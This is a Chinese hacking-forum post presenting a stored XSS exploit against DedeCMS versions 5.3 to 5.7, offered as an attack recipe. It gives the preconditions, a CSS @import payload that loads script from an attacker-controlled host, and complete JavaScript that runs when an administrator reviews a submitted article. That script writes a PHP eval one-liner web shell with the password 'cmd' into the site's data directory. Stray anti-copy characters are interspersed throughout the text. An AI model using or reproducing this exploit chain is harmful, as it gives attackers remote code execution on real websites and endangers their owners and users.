找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1723|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell5 @" K+ ~4 e" J) N4 |" G0 b
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)0 v, h, i" U% i. K
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。: x" d, \- C) C5 p* }" n9 @
下面说说利用方法。
* h/ ]1 B5 B9 K/ H( _4 E条件有2个:- }- o0 J, @5 l. G( H! A
1.开启注册
/ \! k4 {& k1 s4 S2.开启投稿
; c4 a' k  `. I! ~; s6 f% b注册会员----发表文章
) {5 i$ n) [9 W7 I内容填写:
7 |+ m9 w* d  C0 H. E  B6 F5 j复制代码
, h1 F* p6 f& I; O7 P% n6 O) O<style>@im\port'\http://xxx.com/xss.css';</style>
) E4 b: N3 v4 \, C* Z- i2 f) @+ r新建XSS.Css" V* A2 F' Q9 A- ~8 a: c, G
复制代码# ~6 L( ^; X3 W% h% Q' h9 b
.body{
& F% p4 G1 M  n6 C6 H) ]background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
- z0 ~7 n& |4 s9 m9 z* v新建xss.js 内容为
8 f( b* a) y" Q! K1 h! p复制代码
4 D& F; j6 O: o2 G$ h1.var request = false;
5 s# T/ |( S/ u2.if(window.XMLHttpRequest) {, f- D: |3 o! e4 Y
3.request = new XMLHttpRequest();
! ]9 v" e9 R( I4 t8 d! `- S" I4.if(request.overrideMimeType) {6 |$ P" \, T1 @: Y! i' e
5.request.overrideMimeType('text/xml');
) D" f3 [4 L5 v% u7 O# W6.}
% Y8 W, Z% D- q7.} else if(window.ActiveXObject) {% O  g; L5 h* R% a( j& f7 q
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];' }* k% l& V8 d  x; `
9.for(var i=0; i<versions.length; i++) {
+ Y; x: `" g5 S/ J9 ~10.try {" o" N$ e1 R7 Y) t
11.request = new ActiveXObject(versions);
( Z; D* n% h6 U, n& V) j12.} catch(e) {}
4 e( S* H) \7 Z3 ]13.}
5 ^5 ]( U. T8 H14.}
( U4 g- F! p3 B6 k% u8 I& t15.xmlhttp=request;4 O5 e" G$ B4 B, v; @0 K
16.function getFolder( url ){& U; b# i3 ~% e2 ]
17. obj = url.split('/')3 f6 j0 t2 u. s3 m, p2 G8 `5 u
18. return obj[obj.length-2]
% D4 H" Y. j' ]6 @% r! A. O3 h19.}
+ r' @/ K4 X, F  \  I: S3 [2 \6 }20.oUrl = top.location.href;
* X; A( L" X" t21.u = getFolder(oUrl);1 e9 H" P' c4 ?+ u8 B
22.add_admin();' M4 W% T5 O$ w  Y# m0 l' N; r
23.function add_admin(){
& W) @. @2 x6 w$ h" E24.var url= "/"+u+"/sys_sql_query.php";
3 `6 l* R" i1 S/ I* @2 ~) U# X" A25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
! F5 `; K; G9 I) G+ }26.xmlhttp.open("POST", url, true);4 z% m1 A9 p2 Q8 ^  f* M. n/ Z. ]7 s
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");" Z% \# ^8 w! b, b
28.xmlhttp.setRequestHeader("Content-length", params.length);
5 H, `1 Z) R/ J  H0 i& G29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
8 K' d- J- f3 y* f5 _: A30.xmlhttp.send(params);9 Q/ |7 _+ d; k! M
31.}- t$ g+ S4 J2 _6 I9 Z- ~/ G/ K
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表